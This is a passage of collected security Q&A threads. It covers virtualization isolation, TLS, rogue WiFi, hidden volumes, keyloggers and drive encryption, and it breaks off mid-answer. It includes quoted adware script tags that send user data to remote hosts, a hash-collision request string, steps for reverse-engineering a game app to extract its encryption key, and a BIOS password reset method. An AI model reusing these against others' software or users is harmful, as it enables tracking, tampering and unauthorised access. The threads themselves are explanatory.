If you want security and provide a login solution that can be used by many websites, use OAuth2/OpenID which will require the users to do a full redirect to your https loging page. This is the only solution if you want to provide login for multiple sites that are not all on the same domain.


Is LXD virtualization as isolated and secure as KVM virtual machines? Stumbled upon a privacy conscious hosting provider that uses LXD vs KVM to manage user VPS instances.
My understanding is KVM is more isolated so using LXD doesn’t make sense from a privacy perspective.
Perhaps I am missing something?

LXD is at the time of the answer1 a container technology. It uses Linux namespaces, i.e. the processes inside an LXD container run inside the same kernel as the host but have separated network, users, file system etc. LXD can thus only run Linux processes.
KVM is instead a virtual machine technology. It runs a full operating system inside some virtualized hardware. This OS can be Linux but can also be Windows or other OS. The processes then run inside this new OS on the virtualized hardware.
KVM thus provides more separation - both between a VPS and the host and also between different VPS on the same host. A bug in the complex Linux kernel might allow for a LXD processes to break out of the separation. With KVM instead a bug in the far less complex hardware virtualization layer is needed to escape from the virtual machine. Note that both kind of bugs have existed in the past.

... doesn’t make sense from a privacy perspective.

The differences between these technologies is not about privacy. None of these technologies actually provide privacy by their own.

1 With version 4.0 LXD can also be used to manage virtual machines in addition to containers, i.e. it can make use of KVM+qemu. This answer here is about the original LXD which was only used to manage LXC containers. So this answer is basically comparing container with VM.


JSON data decryption Context

I am trying to learn more about web security through looking into how various iOS native apps work under the hood. I have been using Burp Suite as the MITM tool to sniff out the network traffic sent and received from the apps, and on the iPhone I have SSL Kill Switch 2 installed to bypass any certificate pinning. It's very interesting and amazing to see how everything works under the hood, for a beginner like myself.

I had no trouble at all with most of the apps, this includes some apps that are supposed to have high security, such as several mobile banking apps - as soon as the SSL is lifted, everything is visible in plain text. Interestingly, some mobile games are giving me a hard time.

Challenge

The intercepted traffic appears to be encrypted JSON files. For example,

{
"F4q6i9xe":{"aV6cLn3v":"542668","Hhgi79M1":"ynB7X5P9"},
"a3vSYuq2: {"Kn51uR4Y":
"f3SQ5sySeaoDupGhGmCD9MKt0V4naBjXXR+jDEjqU1gmL32FgS8v1/6vy61RFO/rwmXwFYZHfTRgV2XujI6U7fESlcSZjMjdeiULExVg0uFmnSgiYA5040hBtuxfFqn+lP1ZCsvnua2IQHoYZDBagkr8I9VZVxQbzivc7rv5d17qscgnD2Jd4BBImn+ohuTpxPEC2H2sLBpAldLe/5EAbXUIkF8griS73lvjyWhmHubZguNUa9EzOCH8o0UPwo5BLB8Fz7xok1GE85/wwSzrlyapQw76/U/RJBF+/0YQ75BACuE4/SfIknim9XZk2EspKrCOu/Gi2K+7pHS+jytfXHR6zTjmeMyV2o967MUVXag="}
}

What I have done

If I understand correctly, I am now in the realms of decryption. Using some analytical approaches I have found from Googling, here are some of my findings (some may seem very obvious and trivial to the experienced):

All requests sent from the app are in this exact format/structure. The encrypted key names are always the same, only the values differ.
The value to the key aV6cLn3v seem to correspond to some sort of timestamp, as it is ever-increasing.
I previous suspected that the value corresponding to the key Hhgi79M1 would be some check-bits based on the timestamp, but it is not. Performing the same action in the game will lead to the same value, despite different timestamps. However, different actions will yield different values.
The value for the key Kn51uR4Y is where the actual payload is. I believe it is a JSON beneath the encryption, but I am not sure.
The / signs in the payload seem to be separators for segments of data. The second segment /6vy61RFO/ seems to be the check-bits based on the timestamp. Because performing two identical actions in game results in two almost identical JSONs, except for the timestamp and this particular section in the payload.
The payload's encryption has got something to do with Base64 or AES, because of the signature trailing =('s), and different payloads' lengths are always multiples of 4. I am not sure if the latter means anything.
The encryption key used seems to be constant. It does not change from different sessions and on different devices.

Question

Am I right in my analysis so far? Where should I go from here? With my almost-null knowledge in these fields, I am not sure what's the next step to take. I am think I might need to decompile the app and look into the binaries to try to see if I can find the decryption key/function lying around. But I am not sure.

I am aware that there will be a lot of learning ahead, but I don't mind it since I am enjoying it very much and I would appreciate greatly some help, even if it's just a quick list of the topics and URLs I should look into.

Update 2015/11/23

I dumped out the decrypted binaries of the app and ran a strings command on them, then I made a Python script to successfully pick out the encryption key. Thanks to all that have helped!

I would say you are right so far, but this is just guessing so far (probably right though :)).

Yes, I think reverse engineering the application binary is your next step. If you identify the encryption function and the key, then you can reimplement the crypto functions in say, python, and decrypt/encrypt your values as you like.

So,

Get your hands on the application binary. (either extract it from the phone (might need to jailbreak it), or download the IPA from iTunes, more info here)
Run a "strings" on the application. It can results in many interesting strings, it might even list you the encryption key or some clues about what algorithm is used.
Use a static debugger, such as IDA Pro or Hopper (need to support ARM) to peek into the binary. If you are lucky it has the function names, which could help you greatly to find what you are looking for. If not, you could try to search for known crypto constants in the binary. Check out my answer about that here. Also check out this and this. If you found a constant used in the crypto function, you can cross-reference where that constant is accessed/used, and eventually you will find the key as a parameter or static variable used by the crypto function.
If all else fails, you will have to use a dynamic debugger (such as GDB), and attach to the process running on the phone and work from there. Find a piece of data that you know for sure that it will be eventually encrypted, and trace the function calls accessing that data until it's encrypted.

Don't forget about the Reverse Engineering and Crypto stackexchange sites, and of course google a lot! ;)


PHP and max_input_vars configuration I am looking into php's max_input_vars setting

  How many input variables may be accepted (limit is applied to $_GET,
  $_POST and $_COOKIE superglobal separately). Use of this directive
  mitigates the possibility of denial of service attacks which use hash
  collisions. If there are more input variables than specified by this
  directive, an E_WARNING is issued, and further input variables are
  truncated from the request.

Basically I understand that this limits the amount of variables someone can send with POST/GET and truncates them if more are given (with warning raised).

What stays unclear is how someone can use post parameters to create

  the possibility of denial of service attacks which use hash collisions

Also does it make sense to substantially decrease the number there. If for example in my application I never use more than 20 POST variables, can I change max_input_vars to say 30? If so, what improvements will I get?

If it makes a difference, I am using  php 5.5.10 on apache 2.4.7

I might be not as good in explaining the concept of an hash collision as good as this external doc so if it becomes not clear you can have a look at it.

In principle the POST and GET data is using a key-value structure. When receiving the data in a request and when accessing $_POST then php will need to convert the list given as a string which could look like this

EzEzEzEzEzEzEzEz=&EzEzEzEzEzEzEzFY=&EzEzEzEzEzEzEzG8=&EzEzEzEzEzEzEzH%17=&EzEzEzEzEzEzFYEz=&EzEzEzEzEzEzFYFY=&EzEzEzEzEzEzFYG8=&EzEzEzEzEzEzFYH%17=&EzEzEzEzEzEzG8Ez=&EzEzEzEzEzEzG8FY=&EzEzEzEzEzEzG8G8=&

into a form so taht you can do for instance this:

echo $_POST["EzEzEzEzEzEzEzEz"];

the string is not ideal to access the value, so that internally a hash-function is used to transform it to a resulting hash value.
The problem and potential attack that max_input_vars could prevent is that
related to the case that two keys generate the same hash-value hence a hash_collision, which causes extra time to care for such a coallision and would allow to use up lots of CPU with a rather simple HTTP request.


Can SSL be used to encrypt non-HTTP data? If we have a proprietary binary protocol used by some application, can we use SSL/TLS to encrypt the protocol's payload without tunneling it through HTTP?

Can we use SSL/TLS to encrypt the protocol's payload without tunneling it through HTTP?

Absolutely.
TLS provides secure communication on top of the transport layer and you can easily employ it as a transparent wrapper around your own custom protocols.

   One advantage of TLS is that it is application protocol independent.
   Higher-level protocols can layer on top of the TLS protocol
   transparently.  The TLS standard, however, does not specify how
   protocols add security with TLS; the decisions on how to initiate TLS
   handshaking and how to interpret the authentication certificates
   exchanged are left to the judgment of the designers and implementors
   of protocols that run on top of TLS.

(from RFC 5246 for TLS 1.2)

HTTP just happens to be one possible application-layer protocol that is commonly transmitted over TLS. There are many other examples where TLS is added to secure a protocol that has no built-in encryption. E.g., if you use a desktop email client, the communication with the mail server (probably using IMAP/POP3/SMTP) will likely be wrapped in TLS, too. TLS can also be used as an encrypted tunnel for the entire network stack for VPN applications (although OpenVPN only uses TLS for authentication, not for for encrypting the actual data - thanks, @ysdx).


Risk in buying an SSL cert from a not well-known party Let's say I know a guy is selling an SSL cert at a very low price, assume they will generate a real and valid cert for me, since I need to submit my CSR to them and they pass to the CA, are there any risks involved in buying cert from them technically?

Second question is: given a cert, are there any methods I can know from whom the cert was bought? (Besides asking the CA)

Update: I mean the reseller is selling well-known SSL (Comodo Positive SSL) at a very cheap price, e.g. 10-20% than reseller such as namecheap, but I need to submit CSR and buy from them instead of Comodo, so I need to know the risk.

There is no risk of compromising the private key, because you send only the CSR which contains the public, but not the private key. But using a CA is in effect a trust delegation, as people trust your certificate because they (or the browser) trust the CA that signed the certificate. Once they notice that the CA is no longer trustworthy (like DigiNotar after it got hacked in 2011) they will remove the trust and thus they will also not trust any certificate issued by the CA any longer - which directly affects you.

If the CA itself is trusted but the reseller is just cheap, I would not worry too much. Reseller often get a huge rebate from the CA and can thus offer cheap prices if their other costs (like marketing) are small.

You should better check if the seller has high costs for services you don't need right now, but might need later - like certificate renewal or revocation. This is so called buy-in, and you must be on the lookout for this tactic almost everywhere you shop.


How to workaround Thunderbird 78's lack of support for encrypted mailing lists? As of Thunderbird 78, the support for PGP plugins such as Enigmail has been dropped in favour of a native implementation of pgp in Thunderbird's core. But some features of Enigmail are still missing. One of those features is to create something akin to Enigmail's per-recipent rules.[1]
This makes it impossible for people to use encrypted mailing lists, where subscribers encrypt messages with everybody else's public key.
People with an up-to-date Thunderbird will not be able to write to the list for a while, and I read on the Thunderbird blog that the old Thunderbird 68 will not receive further security updates.
So, I'm trying to come up with a workaround.
One idea I have is to create a new key-pair specifically for the mailing list's address and distribute both private and public keys to all subscribers of the list. Assuming that there are no removals from the mailing list in the near future, are there any security problems with this scheme?
Or is there a better solution?

[1]: This allows the subscribers of a mailing list to create a rule for the address of the mailing list and instruct Enigmail to encrypt any mail for a specific list of people on the list. It requires all users to maintain a copy of the subscriber list, adding and removing keys if the (managed) subscribers of the list proper change but it works reasonably well for small lists that don't change too often.

Schleuder is a group's email-gateway: subscribers can exchange OpenPGP-encrypted emails among themselves, receive emails from non-subscribers and send emails to non-subscribers via the list.
The consequence of this approach is that you need to really trust the provider that runs Schleuder: they could store and decrypt all emails that pass the lists, if they wanted.
For more information please take a look at this URL = https://schleuder.org/schleuder/docs/concept.html


What are these URLs in my browsers? I was testing my Node.JS application. When I opened my app using Chrome and Mozilla, I saw these JS files included in every page I browse. They appear in all browsers I use (Firefox, Chrome).

<script type="text/javascript" src="http://j.midnightjs.net/omeltest/common.js?appTitle=PennyBee&amp;channel=chkomel68&amp;hid=v460b5b79c-980c-e17f-cdcc-eaf6cd83c8d5"></script>
<script src="//q.pricejs.info/e?type=quick&amp;topic=suzan_commonjs&amp;partner=omeltest&amp;channel=chkomel68&amp;hid=v460b5b79c-980c-e17f-cdcc-eaf6cd83c8d5&amp;trinity=Z15e3d535a5k&amp;appTitle=PennyBee&amp;opdom=midnightjs.net&amp;instgrp=&amp;rnd=0.5035031025763601&amp;guid=" type="text/javascript"></script>
<script src="//h.midnightjs.net/e?type=heart_bit&amp;partner=omeltest&amp;channel=chkomel68&amp;hid=v460b5b79c-980c-e17f-cdcc-eaf6cd83c8d5&amp;trinity=Z15e3d535a5k&amp;appTitle=PennyBee&amp;opdom=midnightjs.net&amp;instgrp=&amp;sset=4&amp;cb=114_9_25&amp;src=midn8&amp;userAgent=Mozilla%2F5.0%20(Windows%20NT%206.1%3B%20WOW64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F38.0.2125.104%20Safari%2F537.36" type="text/javascript"></script>
<script src="http://i.omeljs.info/omeltest/javascript.js?channel=chkomel68&amp;hid=v460b5b79c-980c-e17f-cdcc-eaf6cd83c8d5&amp;instgrp=&amp;trinity=Z15e3d535a5k" type="text/javascript"></script>
<script src="http://i.omeljs.info/opt_content.js?v=opt_1412683513880&amp;partner=omeltest&amp;channel=omeltestchkomel68&amp;sset=8&amp;appTitle=&amp;sset=8&amp;ip=5.47.69.10"></script>
<script src="http://c.omeljs.info/1507367.js?dn=10.6&amp;isc=0" type="text/javascript" id="__DealPly__222918.92021894455" class="dealply_content_script"></script>

I noticed those links are sending my IP and other data to remote servers. Is this a virus and how can I get rid of it?

It looks like your desktop is infected with PennyBee (aka DealPly, OfferBoulevard, SavingsBull) adware.

In theory this can usually be removed by using the Add/Remove Programs entry and the extensions/add-ons managers in Chrome and Firefox. However, if you were unknowingly infected by this (likely: via the InstallCore/OpenCandy/DownloadAdmin bundling programme run by IronSource/Injekt, part of the group as runs PennyBee et al), who knows what else has been installed? Might be worth considering a fresh install.


Password Free WiFi, but page is using https - am I secure then? Suppose I'm using a WiFi connection at the airport or in a cafeteria (free WiFi), which is not password protected - I only need the SSID to connect to the network.

Then, I'm using the page with https (let's say, some banking page). Am I secure then? Can I send my password in such situation? Will it be send in clear text, or encrypted (since the page is using https)?

If your premises are correct, yes, you are protected, in that the password will be sent encrypted to the remote site.

But...

Are your premises correct? Is that really a free WiFi offered by the airport?

It happened to me twice - once in Schiphol Airport, once on a train bound for Rome - that I found an "open free WiFi" near me. The one on the train (those trains are called FrecciaRossa, 'Red Arrow') was even called 'Freccia Rossa Free WiFi'.

Except that they were honeynets, set up by some creep and employing man-in-the-middle strategies to be able to decrypt your HTTPS connection. With some browsers, and some plugins, you are warned. Most of the time, you are not, or you're induced to disregard some low-level threat warnings ("Those dialog boxes pop up all the time, just click OK already!").

This kind of trick can be performed with devices already configured that can be bought on the Internet (just google for 'pineapple wifi', and that is one example), so it's not like you need to enter the Matrix to get pwn3d this way.

Also, on WiFis that do not offer "client isolation", several attacks are possible that just might allow both sniffing your connection and hijacking it. And you're at risk of your device being hacked, too. Some Android phones had a vulnerability that could be exploited from their local network, but a WiFi AP without client isolation is indeed your local network. Much less likely than being pineappled, because few phones are likely to be hackable, and even then, there's not much that can be profitably done to them in a short time. Of course, if you always go to the same bar, who's to say that nobody is after you specifically? How interesting a target are you?

With a passworded WiFi, at least you have to get the password from someone "official", who is unlikely to be able to say "I wasn't aware" or "it wasn't me!" when the police comes by to investigate your bank account having been drained.

Even so, check carefully what network you're connecting to and pay attention to browser warnings. It's not too difficult to go to the bar, ask their SSID and a password, then set up a different, way more powerful AP with the same SSID and password, and start reaping accounts, identities, possibly some big money every now and then. Also, once you have the SSID and password, try navigating to the router's administration page. If you can, that's a very bad sign; customer APs ought to be only reachable from a wired connection (and not the WAN, either. Not from any random IP at least). If the AP is insecurely administered, or worse yet, vulnerable to some exploit, there again safety flies out of the window.

So: actually, no. You are not automatically safe.


Isn't the behaviour of the switch to flood packets when it's MAC table is still empty dangerous? If we have a switch with empty MAC table, and three hosts are connected to it - let's say host A, host B, and host C.
Host A sends something to host B, and switch remember on which port is host A, but it doesn't know where the host B is, so it broadcast the entire encapsulated packet (Layer 2, IP, TCP, etc) on all ports. If in this moment Host C has NIC in promiscuous mode and sniffer running on his/her machine, he/she can see what host A wants to send to host B.

Isn't this behaviour dangerous?

Not, it's not dangerous because the switch will broadcast only the first packet, not all the next packets.

The status of the switch internal tables will be like this:

On the first instant, the table is empty, so it works like a hub, broadcasting everything
When ComputerA (plugged to port 1), sends a packet to ComputerB (plugged on port 5), the switch will broadcast the packet to everybody, but create a entry on its table: ComputerA is on port 1
ComputerB responds, and the switch will send the package to port 1, and create a new entry on the table: ComputerB is on port 5
Every new packet between ComputerA and ComputerB are sent directly, without broadcast.

Even if ComputerB is the gateway, ComputerC will be able to get only one packet sent from every other computer on the network.


iOS auth/auth with a REST Webservice we're currently in the design phase of a new "Gateway-Server" which we want to develop. Our server has a REST-Service. My task is to find viable options to protect the access to the aforementionend REST Service (auth/auth)

This server is going to be used in a business environment which means we have an LDAP/Active Directory at our disposable. The informations which I are going to be served out via this API are high-valuable and should be adequatly protected on the device and on the server. The app and backend is going to be used by employees, there are no public users.

We are going to use an Application Server (Glassfish) as the base componente for our backend. I want to use the built-in security mechanisms as I want to avoid to invent my own solutions which are probably going to be inferior.

What is a best-practice to secure the backend from unauthorized/unauthenticated access?

Or more specifically:

How could I secure the access to the backend?
Is it an option to transmit the username and password with every request made from mobile device to backend?
Is it good practice to validate the transmitted Username/Password against the LDAP?

Nice to know:

The gateway-server is behind a reverse-proxy.
User need to authenticate themselves with Username/Password when they want to replicate( connect to the backend)
communication between device and backend is going to be protected with TLS

Thanks

There are common defects in authentication systems that should be avoided:

In a corporate environment it is important to terminate
authentication immediately.  If an employee is fired they could seek
revenge,  and even a narrow window of access cloud be enough to cause
serious monetary loss.
Bruteforce.  There must be a system in place to rate-limit authentication requests coming form a specific ip. Blocking requests until an IP can solve a capthca is a good approach that is used by Google and others.
Leaking information over an insecure channel.  This is mitigated by TLS (or HTTPS).  TLS has its own problems and is always misconfigured by default.   Make sure you are using secure cipher suites (TLS V1 or later) and disable renegotiation requests.  Any vulnerability scanner worth its salt will show these violations, and they are a common finding in the wild.
Injection and Authentication Bypass. Make sure you understand LDAP Injection.

Forcing every request to contain a username/password solves the first problem of immediate termination.  If every request has to be sent to Active Directory then there is only once place to revoke access.  LDAP is a very fast non-relational database and filter requests are very fast (much faster than SQL).


How can one identify if a ssid is an evil twin before connecting? How can I check before I connect that the WPA2 ssid I am connecting to is the correct one when I'm in an area with spoofed ssid's?
How can I evade an evil twin without trying to connect with a fake password? I would prefer to only connect to safe/trusted ssids.
Here is an image illustrating what I am asking about. While the screenshot is windows, I am looking for an operating system agnostic solution.
I'm given a card by the hotel that the official wifi is "Fios-RQ9Vs". But I see two. The desk clerk has no clue what's going on. The ssids here are both using the same radio band 2.4Ghz.
Am I just not supposed to use any wifi anytime I see a name collision?  There has to be some way I can investigate and verify before connecting.

Does it really matter?
Just assume that all wifi access points are rogue, and proceed accordingly.

if you're surfing the web, only connect to sites by way of SSL/TLS.  Or, use a VPN.

Run a firewall on your laptop that blocks all incoming connections

If you do the above, then it really doesn't matter if the access point that you are connecting to is rogue.  All traffic passing through the access point will be encrypted, so the access point won't be able to sniff your traffic.  If you are surfing the web, and the access point tries a DNS spoofing attack that directs you to a fake site, or a man-in-the-middle attack, your browser will detect a problem with the host's certificate.  You'll want to apply the same caution to any other services that you use as well, such as POP3, IMAP, SMTP, SSH, etc.  If you assume that all access points and ISP's are rogue, and proceed accordingly, then it won't matter if/when you connect to one that actually is rogue.


Why are passwords sent unhashed by most modern websites? I've been investigating various protocols used to send usernames and passwords to web servers in order to authenticate, and while obviously all of them these days use SSL/TLS, I was a bit surprised to see that even with my online banking sites the passwords are literally included "as is" in the form body with no attempt to hash or otherwise protect them. Meaning that if either a) somebody has compromised my machine, installing new TLS root authority certificates and causing requests to my online bank to be sent to another server or b) has managed to direct me to a site looking so convincingly like my online banking site that I don't notice it's not (e.g. IDN homograph attack), they can readily capture my online banking password. I could even include c) a malicious operator with access to the backend servers would likewise be able to obtain my password.

The now-popular OAuth 2.0 protocol likewise includes the password unhashed or unprotected as a form field or query parameter (query parameter's arguably even worse as it's not uncommon for query strings to be logged in full by web servers).
Given there are well-known and establish protocols for hashing and protecting passwords (e.g. Digest Authentication) that would seem to be provide some obvious benefits in keeping passwords protected, why does it seem to be that nobody is using them?

Even performing a basic SHA256 on the password + pre-determined salt (on the client side) would be better than nothing - obviously if the hash is compromised, an attacker could still use it to access protected services, but at least they don't have any information about my password that could be useful to determine my other passwords, including whatever password I replace the current one with when I'm required to change it (we all know what the most common routine is there!)

The only rationale I can see for passing passwords unprotected (other than over TLS) is that it allows backends to perform complexity validation on them. But even then, that password only needs to be passed once when you first establish it, not for every time you log in (further, the backend could just perform checks against just the hash - e.g. checking against well-known hashes, previously used ones etc., and leave the rest to the client-side, accepting that client-side validations can be bypassed, and it does concern me that even length validation is not something you can do with just the hash).

Your question boils down to

  why do passwords get sent in clear text over an encrypted channel and are not hashed on the client before submission?

The answer is: if the client is compromised to compromise the TLS session, it does not matter - the password is typed in and can be keylogged.

Additionally, hashing on the client side just makes the hash value effectively your new password being send - again - in clear text over the encrypted connection.


Is it possible to to encrypt multiple messages with multiple keys and get only one cipher? I want to have cipher which when people decrypt it with their own key, get different meaningful messages. Is this possible at all?

In theory yes. In practice no.

You could use one-time pad cipher like

a \xor k = b and c \xor k' = b

But this reverses the role of the key and message. b becomes the key and k/k' the cipher text. In fact you could change the XOR function to any other function, it would need the same properties and therefore have the same weaknesses.


Samsung EVO 970 SSD on laptop without TPM - secure erase, is the drive encrypted? I have a Dell XPS 9550. This was shipped without a TPM.

I have since installed a Samsung 970 EVO SSD which as I understand is a self-encrypting drive (SED) and, what I am not sure about is, it can be encrypted without a TPM?

So, I have installed the drive, installed Windows 10, set "Encrypted Drive" to "ready to enable". Did a secure erase and reinstalled Windows 10.

Samsung Magician now shows the below ("Encrypted Drive" is "Enabled"):

Bit Locker will not enable on the OS drive without overriding the "your administrator must set the allow bitlocker without a compatible tpm" setting.

Does this mean my drive is encrypted?

Or do I need to override the TPM setting and setup bit locker still and then bit locker with use the hardware encryption on the drive?

Or do I need to set a BIOS system password?

I have searched but with no clear guidance or insight.

There's a lot of information here so I'll try to answer directly and clear up anything that's incorrect.  First and foremost, BitLocker drive encryption and the built-in encryption on the SED are two mutually exclusive forms of encryption and I would not recommend running both due the likely significant performance impact.

If you are using the built-in drive encryption (and it appears you are), then there's no need to use BitLocker.  The SED stores the key on the drive controller (hardware outside of the OS) so it's faster and technically more secure without a TPM (although there are publicly known attacks against SEDs from Samsung and Seagate (and BitLocker for that matter)).

As far as your questions go:

Does this mean my drive is encrypted?

Well, yes.  But what you're confusing is BitLocker with the built-in drive encryption on the SSD.  As previously stated, they are two distinct forms of drive encryption.  You are receiving the message,  "your administrator must set the allow bitlocker without a compatible tpm" because you don't have a TPM and by default, BitLocker wants to store the key in the TPM for the additional security measure.  If you change this setting, you can still use BitLocker but the key is stored on the drive and can be stolen/reclaimed by someone with the right tools and know-how.  I'd also like to reiterate, dont' use both the SED encryption and BitLocker.  It's redudnant and will likely destroy your IO experience.

Or do I need to override the TPM setting and setup bit locker still and then bit locker with use the hardware encryption on the drive?

If you want to use BitLocker over the SED built-in encryption, you'll need to remove the encryption which will wipe the drive, reinstall your OS without the built-in encryption and then enable BitLocker without TPM.

Or do I need to set a BIOS system password?

If you're concerned about people having physical access to your machine, it's best practice to set a BIOS password.  However, know that there are many nullifying circumstances with this:

If you allow your laptop to boot to every capable bootable device technology on the laptop, the BIOS password is functionally irrelevant as they'll just boot off of CD or USB to another OS, mount your drive, unencrypt it, and get your info.  <-- this isn't trivial, but certainly far from unlikely.
If someone has physical access to your laptop, they can perform the J38/39 jumper reset to unset the BIOS password (this still works, I did it about 3 months ago on a brand new Dell).

Edit:  As stated in the comments, if you enable BitLocker, it can and will prefer to use the hardware encryption enabled by the SED due to performance reasons.  However, as it's not yet enabled and your Samsung software is saying the drive is encrypted, it's probably using the built-in method on the SED.


openssh old version vulnerabilities My Ubuntu 12.04LTS system currently offers OpenSSH_5.9p1 Debian-5ubuntu1.8, OpenSSL 1.0.1 14 Mar 2012. Besides being old, it does not allow me to use e.g. the option

# PubkeyAcceptedKeyTypes ssh-rsa*

in sshd_config, or the option -o in ssh-keygen. I guess the alternative would be to compile from source the latest version, with the drawback of having to do manual updates everytime.

How secure is such a system, namely would it be moderately safe to run it on a home machine behind a router with private IP, where port 22 is mapped to the desired private IP?

Well if your system has a private ip and is behind a router (using ipv4,nat and firewall).
Considering you are also not running a natted server.

You may be considered a bit safe from my opinion , though other attacks (like after packet manipulation may be possible,etc)
Than it would depend how much securily your router is configured.

At last you can check for vulnerablities for older packages (Openssh,Openssl) ,also for your linux-version from sites like cvedetails.com.
Apply patches or upgrade your package according to your necessity.


WiFi Location Tracking I got a question about pinpointing devices on one WiFi network. Let's say for example I sit at my home and I bought that big beefy WiFi antena and use it to connect to local cafe 100m down the street. And let's say someone is looking for me, when they track my location  will my address or the address of local cafe show up ?

If somebody is looking for you, he could find out your public IP address (by for example sending you a link to a web page on a server that he hosts, or even a known public forum post with an embedded image that is hosting on his server). In your case that IP address is actually the IP of your Cafe. That would bring him close to you, but too close you.

Your computer has just a private IP address assigned by the Cafe to which you connect, but that IP address would not tell anything about your location.

But based on the strength of the WiFi signal that is being sent from your computer, it would be possible to identify your location, in case someone has the right tools and has identified your appriximate location or the locatinf of the Cafe to which you connect.

I assume that you do not share your GPS data of course.

If you would use TOR, it would be much harder to find you or the IP of the Cafe you are connecting to.


Is it possible to infer that a hidden truecrypt partition is likely to be present Truecrypt contains a feature that let's you create a hidden volume.  It's said that it can't be proven if a hidden volume exists.  However, is it possible to infer from the state of the data on the disk that a hidden volume is very likely to exist?  Firstly, if the non-hidden partition didn't take up the whole disk, that's a pretty good clue right there.  Also, the non-used portion likely wouldn't contain random (random looking because it's encrypted) but rather bits and pieces of old files (because the OS doesn't really overwrite data when deleting).  Doesn't the existence of a bunch of random empty space in your drive infer that there is likely a hidden partition, similar to how they state that when using file hosted partitions, there is no plausible deniability because there is no reason, other than an encrypted file, to have file full of random data on your disk.

Plausible deniability in the context of hidden encrypted volumes is a bit of a misnomer. “Possible deniability” would be a better name. There is no way to confirm the existence of such volumes without knowing the passphrase, but there are certainly ways to infer their existence.

If the hidden volume is not inside a plain volume, the presence of completely random unoccupied space will be a red flag. If the hidden volume is inside a plain volume, less so; since TrueCrypt volumes can't be resized, it's perfectly plausible that you created a 20GB volume just for future-proofing even if you're now only using 2GB.

A simple active action to infer the existence of a hidden volume is to attempt to fill that empty-looking space. If you object or twitch, if you show any attachment to that empty-looking space, you've confirmed the suspicion that there is indeed a hidden volume. So if you have a hidden volume, you'd better be comfortable with the idea that it can be deleted at any time.

A general technique to infer the existence of an empty volume is to look for traces of access to an absent drive. Your recent document history, your command line history, your system logs might contain references to that volume, possibly (especially with respect to the system logs, or inconsistencies between the system logs and application logs) in a way that shows that the volume was not a removable drive that you don't happen to have on your person. So you'd better not access that hidden volume with your regular operating system.

You can hide a whole operating system on the hidden volume. Then what might be suspicious is when you did not use your normal operating system. So you took a computer into the country and never booted it? Suspicious! A good cover story for that would be to make your apparent operating system execute only in RAM and save nothing to disk (“it's just for web and mail, and my mail is stored on the server, this way I'm not worried about viruses”).

The very existence of hidden volumes is in fact a bit of a disservice, because you cannot easily refute their presence. The best you can do is be willing to fill your empty-looking space on demand, which may not completely alleviate any suspicion that you did have a hidden volume.

If you want to hide some data, the empty space of an apparent encrypted volume is ideal from the pure cryptography point of view, but not so much when you look at the bigger security picture. There's too much discrepancy between the apparent emptiness and the actual valuable content stored there. I would suggest hiding data inside naturally-occurring large files, such as videos; that at least gives you a reason for the space to be occupied by data that you might plausibly consider valuable.


Password entry on OS X and keyloggers There's several places in my ‘personal security infrastructure’ (is there a better phrase for that?) where I find myself typing very important passwords into text-fields on OS X (for instance, dis-encrypting and mounting thumbdrives containing very sensitive data.)

I'm (perhaps unreasonably) afraid of keyloggers, as these are the only method I can think of short of a system-level vulnerability or physically watching (or recording) my activities when entering the password. In other secure systems I use, there's an option to enter a final part of the password using the mouse or similar, to help avoid keyloggers making an attacker's job too difficult.

tl;dr: Is there any way to (partially) defeat keylogger attacks against system-level password entry on OS X?

Edit: Because I'm not here to discuss the feasibility of keyloggers on OS X, let's presume I'm talking about defending against a physical keylogger being injected into my keyboard's data pipeline. (Either a replaced keyboard with the logger hidden inside, or something attached on its' USB cord.)

Is there any way to (partially) defeat keylogger attacks against system-level password entry on OS X?

Yes. The traditional keylogger is a hardware device that intercepts data between the the keyboard and the intake of character data at the Keyboard Controller (mostly USB Device, HID Keyboard). The physical components are few and various tamper evident seals may be used to assure the integrity of the physical system. You would need a initial check to insure that no physical keylogger exists then attach or install the seals. Frequent or periodic checks of the seals must then be performed to verify that the hardware's integrity is intact.
However most modern keyloggers are software or firmware based and thus may only be defended against by software security methods. This includes the chain from the keyboard controller IC firmware, keyboard controller device driver, OS level USB subsystem, keyboard buffer, and shell software.
This would require you to find the firmware or software for each component in the chain and verify that it has not been tampered with. This is usually done by obtaining from the manufacturer a cryptographic hash of the firmware or software for the component and computing the cryptographic hash of the software currently in use on the system in question. If the cryptographic hash values match then the firmware or software is unmodified.
The more software in the chain, the harder it is to protect and verify just by the nature of growing complexity and more permutations of instruction sequences.

There's several places in my ‘personal security infrastructure’ (is there a better phrase for that?) where I find myself typing very important passwords into text-fields on OS X (for instance, dis-encrypting and mounting thumbdrives containing very sensitive data.)
I'm (perhaps unreasonably) afraid of keyloggers

In hardware keyloggers yes, in software keyloggers no.

as these [Keyloggers] are the only method I can think of short of a system-level vulnerability or physically watching (or recording) my activities when entering the password.

No, there are many other ways of determining your password. The most common one is to find a exposed password or phrase from another system and attempt to use it on the system in question. This is usually successful as most people reuse passwords.
Another trivial example is to attempt to find frequently used keys on your keyboard either from dirt or ware and try the limitied combinations of those frequently used keys to find the password;

Additionally there are various forms of social engineering and phishing that are quite effective.

In other secure systems I use, there's an option to enter a final part of the password using the mouse or similar, to help avoid keyloggers making an attacker's job too difficult.

There are two posibilites here. They keys is split, meaning that part of the key is stored in a container on the system and part of the key is stored in you mind. Or the full key is stored in a container and the system only needs a few charactors to determine which key you need.
There are also two general types of key splits: one I call sectioned, and one I call full key length split. The sectioned one takes a key with n bits and divides it into two or more parts.
For example: take a key 0xA55AC33C and split it to 0xA55A and 0xC33C.
The full key length split takes a key of n bits and divides it into two or more parts of length n.
For example: take a key 0xA55AC33C and split it into 0x42244224 and 0xE77E8118.
The sectioned split is a poor choice for several reasons including exposure to brute force attacks, and problems recombining the key in the correct endianess and order.
A sectioned split might seem to foil a keylogger, but not if entering the same split allows an attacker to access the sensitive data. For example: if you only need to enter 0xC33C and the keylogger records this then an attacker can enter 0xC33C and gain the same access.
Generally, shell level commands which do not output sensitive charactor data to the screen or to the shell log buffer are more secure than graphical components.


Could SQRL really be as secure as they say? I just came across https://www.grc.com/sqrl/sqrl.htm

  With Secure QR Login,  your phone snaps
  the QR code displayed on a website's login
  page . . . . and YOU are securely logged in.

This seems like it would be pretty awesome - one of the problems that I can think of is if the QR reader is compromised, to display www.google.com instead of www.nsa-super-secret-place.gov/123. What other problems does this system have?

Overall, the protocol does not appear to increase security over existing technology. If you are looking for the best way to protect your identity online, this is without question not it. But let's go over the pros and cons:
Advantages
It's impossible to "share" a password in the narrow sense that a malicious website can't use the authentication provided to one site to log in to another site.
